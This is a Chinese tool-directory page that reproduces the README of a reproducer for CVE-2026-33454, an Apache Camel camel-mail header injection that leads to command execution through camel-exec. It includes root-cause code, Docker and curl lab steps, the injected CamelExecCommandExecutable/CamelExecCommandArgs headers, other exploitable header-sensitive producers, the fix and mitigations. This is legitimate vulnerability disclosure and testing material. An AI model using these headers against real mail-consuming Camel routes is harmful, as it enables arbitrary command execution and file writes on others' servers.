Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33454 — CVE-2026-33454 复现器:Apache Camel camel-mail 标头注入,通过 camel-exec 实现 RCE | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-33454
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHuboscerd/cve-2026-33454

CVE-2026-33454

CVE-2026-33454 复现器:Apache Camel camel-mail 标头注入,通过 camel-exec 实现 RCE

查看仓库
1112个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

camel-mail Header Injection → RCE 漏洞复现工具(CVE-2026-33454)

本项目演示 Apache Camel 的 camel-mail 组件中一个 Camel 消息头注入 漏洞,跟踪编号为 CVE-2026-33454。攻击者若能向 Camel 邮件消费者所监听的邮箱投递邮件,即可将 Camel* 控制头注入 Exchange,当路由转发到诸如 camel-exec 之类的对头部敏感的生产者时,可实现 远程代码执行。

公告:https://camel.apache.org/security/CVE-2026-33454.html

漏洞摘要

属性值
组件camel-mail
受影响类org.apache.camel.component.mail.MailHeaderFilterStrategy(+ MailBinding.extractHeadersFromMail)
根因过滤器策略仅配置了 OUT 方向(setOutFilterStartsWith),而未配置 IN 方向,导致入站 MIME 头未经过滤
CWECWE-20:输入验证不当(Camel 消息头注入)
影响远程代码执行(通过头部敏感的生产者,如 camel-exec)
受影响版本3.0.0 至 4.14.6 之前,以及 4.15.0 至 4.18.1 之前
修复版本4.14.6、4.18.1、4.19.0
JIRACAMEL-23222
报告者Hyunwoo Kim(@v4bel)

技术细节

MailHeaderFilterStrategy 继承自 DefaultHeaderFilterStrategy。在受影响版本中,其构造函数仅配置了 out 过滤器,从未设置 in 过滤器:

root@kitploit:~
// MailHeaderFilterStrategy - 受影响版本(仅过滤 OUT 方向)
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);   // 仅 OUT
    // 没有 setInFilterStartsWith(...) -> 入站 Camel* 头不会被过滤
}

当 Camel 消费邮件时(例如 from("imap://...") 或 from("pop3://...")), MailBinding.extractHeadersFromMail() 会将每个 MIME 头复制到 Exchange 的 In 头中,并由 headerFilterStrategy.applyFilterToExternalHeaders(...) 控制。由于 in 过滤器从未被配置, 以 Camel* 开头的 MIME 头会直接通过:

root@kitploit:~
// MailBinding.extractHeadersFromMail() - in 过滤器未配置,因此 Camel* 可通过
Enumeration<?> names = mailMessage.getAllHeaders();
...
boolean keep = !headerFilterStrategy.applyFilterToExternalHeaders(headerName, value, exchange);
if (keep) { answer.put(headerName, value); }

因此,能够向被监听邮箱发送邮件的攻击者可以设置任意的 Camel* 控制头。 当路由转发到诸如 camel-exec 之类的头部敏感生产者时, CamelExecCommandExecutable / CamelExecCommandArgs 头会覆盖命令(在受影响版本中默认生效)→ 任意操作系统命令执行。

受害路由

root@kitploit:~
from("imap://127.0.0.1:3143?username=victim&password=secret&delete=true&unseen=true")
    .to("exec:echo?args=hello")     // 固定、无害的命令
    .convertBodyTo(String.class);

前置条件

  • Java 17+
  • Maven 3.8+
  • Docker(用于运行邮件服务器)

复现步骤

第 1 步:启动邮件服务器(Docker)

一个 GreenMail 容器提供 SMTP(3025)和 IMAP(3143),并包含一个邮箱 (登录名 victim,密码 secret,地址 victim@localhost):

root@kitploit:~
docker compose up -d
# 或者:
docker run -d --name greenmail-cve -p 3025:3025 -p 3143:3143 \
  -e GREENMAIL_OPTS='-Dgreenmail.setup.test.all -Dgreenmail.users=victim:secret@localhost -Dgreenmail.hostname=0.0.0.0 -Dgreenmail.auth.disabled -Dgreenmail.verbose' \
  greenmail/standalone:2.1.0

第 2 步:构建并启动应用程序

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

启动 IMAP 受害路由以及一个运行在 8080 端口上的辅助 REST 控制器。

第 3 步:正常邮件(健全性检查)

root@kitploit:~
curl http://localhost:8080/exploit/normal

消费者会拾取该邮件并运行 echo hello。

第 4 步:攻击——投递带有注入的 Camel* MIME 头的邮件

root@kitploit:~
# 默认正常证明:touch /tmp/pwned
curl http://localhost:8080/exploit/attack

# 或自定义 executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-mail"

这封邮件的 MIME 头包含:

root@kitploit:~
CamelExecCommandExecutable: /usr/bin/touch
CamelExecCommandArgs: /tmp/pwned

第 5 步:验证

root@kitploit:~
# 等待约 2 秒以等待 IMAP 轮询周期,然后:
ls -la /tmp/pwned

如果 /tmp/pwned 存在,说明注入的 MIME 头覆盖了 exec 命令 → RCE。

清理

root@kitploit:~
docker compose down    # 或者:docker rm -f greenmail-cve

攻击向量

该注入只需要下游存在一个头部敏感的生产者。公告提及 camel-bean、camel-exec 和 camel-sql;更广泛地:

  • camel-exec — CamelExecCommandExecutable / CamelExecCommandArgs → 操作系统命令执行
  • camel-file — CamelFileName → 任意文件写入 / 路径遍历
  • camel-bean — CamelBeanMethodName → 调用不同方法
  • camel-sql — 查询控制头

利用条件

  1. 存在一个消费邮件的 Camel 路由(imap://、imaps://、pop3:// 等)。
  2. 该路由转发到(或受到)头部敏感的生产者的影响。
  3. 邮件消费者与该生产者之间没有 removeHeaders("Camel*")。

攻击者只需要能够向被监听的邮箱发送邮件即可。

推荐修复

修复方案(CAMEL-23222)同时配置了入站过滤器:

root@kitploit:~
public MailHeaderFilterStrategy() {
    setOutFilterStartsWith(CAMEL_FILTER_STARTS_WITH);
    String[] inFilter = Arrays.copyOf(CAMEL_FILTER_STARTS_WITH, CAMEL_FILTER_STARTS_WITH.length + 2);
    inFilter[CAMEL_FILTER_STARTS_WITH.length]     = "mail.smtp.";
    inFilter[CAMEL_FILTER_STARTS_WITH.length + 1] = "mail.smtps.";
    setInFilterStartsWith(inFilter);   // 现在入站方向也会被过滤
}

缓解措施

在升级之前:

  1. 剥离来自邮件的 Camel 头:在 from("imap:...") 之后紧接着使用 .removeHeaders("Camel*")。
  2. 避免在不可信邮件下游使用头部敏感的生产者,或固定其配置。
  3. 限制可向被监听邮箱投递邮件的人员。

文件结构

root@kitploit:~
CVE-2026-33454/
├── pom.xml
├── docker-compose.yml               # GreenMail 邮件服务器(SMTP 3025 / IMAP 3143)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot 入口点
    │   ├── MailExecRoute.java        # 易受攻击的受害路由(imap -> exec)
    │   └── ExploitController.java    # 攻击者:通过 SMTP 投递恶意邮件
    └── resources/
        └── application.properties

免责声明

本复现工具仅用于 安全研究和授权测试,针对一个 已公开披露并修复 的漏洞。未经明确许可,请勿将其用于任何系统。

下载工具